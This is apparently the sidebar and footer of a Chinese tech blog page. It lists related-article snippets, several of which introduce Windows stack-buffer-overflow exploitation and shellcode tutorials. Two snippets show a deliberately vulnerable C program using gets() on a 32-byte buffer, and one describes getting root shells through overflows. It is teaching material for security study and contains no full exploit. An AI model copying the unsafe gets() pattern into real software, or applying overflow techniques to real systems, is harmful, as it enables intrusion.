解决电脑提示系统错误弹窗:系统在此应用程序中检测到基于堆栈的缓冲区溢出 这个问题我也碰到过,其时很容易解决 按下面的操作步骤,就可以解决这个问题~ 步骤: 1,按下键盘Win+R键,打开运行 2,输入 msconfig ,点击确定 3,在启动选择中,选择 正常启动 ,点击应用 ,在点击 确定 即可。 ...

u010560236的博客 14万+

详解MegatronLM序列模型并行训练(Sequence Parallel)

MegatronLM的第三篇论文是2022年出的。在大模型训练过程中显存占用过大往往成为瓶颈,一般会通过recomputation重计算的方式降低显存占用,但会带来额外的计算代价。这篇论文提出了两种方法,分别是和,这两种方法和Tensor并行是可以相结合的,可以有效减少不必要的计算量。下图中绿色部分表示不同模型中需要用于保存activation需要的显存大小,蓝色部分表示不同模型中需要用于保存parameter和optimizer state需要的显存大小。红色线表示A100的显存大小80G。

分享机器学习、深度学习、分布式计算、MLSys相关领域知识 1万+

GD32F103程序烧录全攻略:从SWD到串口的实战指南

本文提供了GD32F103微控制器程序烧录的全面实战指南,详细介绍了SWD、JTAG和串口(ISP)三种主流下载方式。文章重点解析了在Keil MDK中使用ST-Link进行SWD下载的完整步骤,包括硬件连接、软件配置和Flash算法设置,并针对烧录过程中的常见问题提供了实用的排坑解决方案,帮助开发者高效完成程序部署。

weixin_29191669的博客 438

Win11系统任务栏变黑,基于堆栈的缓冲区溢出解决方案

Win11 任务栏突然变黑,堆栈溢出的一种解决方案

淼miaomiao的博客 3382

DSMA时序修复避坑指南:当Setup和Hold互卡时,除了调Margin还能做什么?

本文深入探讨DSMA时序修复中的Setup与Hold互锁问题,提供7种高阶策略,包括优先级判断、高级参数组合、单元类型智能替换等,帮助工程师突破时序收敛瓶颈。特别针对fix_eco_timing命令的隐藏参数和物理协同优化进行详细解析,助力芯片设计实现时序收敛。

weixin_30162121的博客 298

项目(百万并发网络通信架构)2---封装网络数据报

一、为什么设计网络数据报 在消息交互时使用字符串不安全,且比较麻烦不好处理 二、本文案例中用到的数据报格式 本文的案例为: 客户端可以输入login来登录服务端,或者输入logout来退出服务端 服务端根据客户端传来的数据,做相应的回复 消息类型枚举 //消息的类型 enum CMD { CMD_LOGIN, //登录 CMD_LOGIN_RESULT...

董哥的黑板报 1301

RT-DETR改进策略【卷积层】| CVPR-2020 Strip Pooling 空间池化模块 处理不规则形状的对象 含二次创新

一、本文介绍 本文记录的是利用Strip Pooling模块优化RT-DETR的目标检测网络模型。Strip Pooling结合了长而窄的卷积核形状在一个空间维度上的长程关系捕捉能力和在另一个空间维度上的局部细节捕捉能力,有效地处理复杂的场景信息。这一机制通过采用1×N1×N1×N或N×1N×1N×1的池化核形状来适应不同的图像特征,提高模型对目标形状和分布的适应性。在场景解析网络中,Strip Pooling可以被用于提升对具有长程带状结构或离散分布目标的解析能力,特别是在复杂场景或不同对象布局条件下效果

Limiiiing的博客 580

YOLOv8性能突破:DySample超轻量动态上采样算子的创新应用与实现【附保姆级代码】

YOLOv8(You Only Look Once Version 8)作为YOLO系列模型的最新版本,延续了高效、准确的目标检测优势。其基础结构包含了骨干网络(Backbone)、检测头(Head)、以及特征融合层(Neck)。在特征融合阶段,YOLOv8需要对不同尺度的特征图进行上采样,以便将低分辨率的特征与高分辨率的特征进行融合。传统的上采样操作多使用插值(如双线性插值)或固定卷积,而这些方法可能无法很好地适应复杂的上下文信息。

一键难忘的博客 3122

window系统下的堆栈溢出

 这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#i nclude int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x",name[i]);}相信大家都看出来了,gets(name)对name数组没

1791

巧妙解决网页弹窗重复出现问题

本文探讨了网页弹窗关闭后刷新重现的问题及解决方案。通过分析原生JavaScript实现的弹窗代码存在的缺陷,提出了使用jQuery改进的方法。关键点包括:利用event.preventDefault()阻止默认行为避免刷新,采用jQuery的hide("slow")方法实现优雅的关闭动画,确保关闭状态持久化。改进后的方案既解决了弹窗重复出现的问题,又提升了用户体验,为网页弹窗交互提供了更优的实现方式。文中提供了完整的HTML、CSS和JavaScript代码示例,便于开发者直接应用。

2501_90323865的博客 182

【原理】window系统下的远程堆栈溢出

window系统下的远程堆栈溢出 --《原理篇》作者:ipxodi (ipxodi@263.net)主页:http://www.nsfocus.com日期:2000-05-05----前言我们来研究windows系统下的远程溢出方法。我们的目的是研究如何利用windows程序的溢出来进行远程攻击。如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:《window系统下的堆栈溢出

FreeXploiT 1395

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

堆栈溢出从入门到提高

转自:http://www.jiaonan.net/html/2007/06/20070624034620915.htm入门篇 2007-6-24 15:46:20本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,你

cnctloveyu的专栏 1万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

window系统下的远程堆栈溢出 --《原理篇》

window系统下的远程堆栈溢出 --《原理篇》   作者:ipxodi (ipxodi@263.net)   ----前言   我们来研究windows系统下的远程溢出方法。 我们的目的是研究如何利用windows程序的溢出来进行远程攻击。   如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章: 《window系统下的堆栈溢出》(NsfocusMagzine 20003

老鬼的专栏 2090

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

堆栈溢出问题

通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是一个黑客在系统 本地已经拥有了一个基本账号后的首选攻击方式。他也被广泛应用于远程攻击。通过对daemon进程 的堆栈溢出来实现远程获得rootshell的技术,已经被很多实例实现。 在windows系统中,同样存在着堆栈溢出的问题。而且,随着internet的普及,win系列平台上的 internet服务程序越来越

fengzhishang2019的专栏 1555

远程堆栈溢出 原理篇

我们来研究windows系统下的远程溢出方法。 我们的目的是研究如何利用windows程序的溢出来进行远程攻击。 如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章: 《window系统下的堆栈溢出》(NsfocusMagzine 20003)。 本文以及后续的《实战篇》都是建立在该文基础上的。 让我们从头开始。windows 2000 Advanced Server(Buil

|游梦空间| 1000

Windows堆栈溢出全面解析

 关于堆栈溢出,前面写的多期文章都是关于具体漏洞分析和ShellCode的编写技术,而有朋友希望我能写点入门级的文章。今天,我就和大家一起,来全面解析Windows下堆栈溢出的具体细节及利用过程。过程虽然简单,但自己又走了一遍,才发现里面的确有一些值得注意的地方。废话少说,我们直接切入正题!基础知识首先简单讲两个基础知识,一是函数调用时堆栈的变化;二是函数调用约定对函数调用及返回时堆栈变化的影响。

1340

溢出的原理及 shellcode 编写

本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次, 你应该了解linux,本讲中我们的例子将在linux上开发。 1:首先复习一下基础知识。 从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态 全局变量是位于数

iiihacker 的 黑客编程 入侵和防御 专栏 7017

win10基于堆栈的缓冲区溢出_Windows内存破坏漏洞的现代探索,Part I:堆栈溢出(一)...

介紹内存损坏漏洞这个话题,对于初学者来说是一道坎。当我第一次开始在Windows操作系统上探索这个话题时,我立刻被现代的、公开的、专门针对这个话题的信息的奇缺震惊了。因此,这篇文章的目的并不是提供新奇的内容,而是要记录自己在探索这个话题时踩过的坑,同时,也是为相关问题的探索过程做个记录。除此之外,还有一个目的为了整合和更新与漏洞缓解系统演变相关的信息,因为这些信息通常散落在不同的地方,并且有些已经...

weixin_39785858的博客 2956

window系统下的堆栈溢出 作者:ipxodi>

window系统下的堆栈溢出  作者:ipxodi>      ◆原理篇 这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。 让我们从头开始。windows 98第二版 首先,我们来写一个问题程序:#include  int main(){char name[32];gets(n

孤剑之家 2868
上一篇: 【实战】SQL SERVER 2000 SP2 12命令的溢出攻击实现
下一篇: 【原理】window系统下的远程堆栈溢出
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值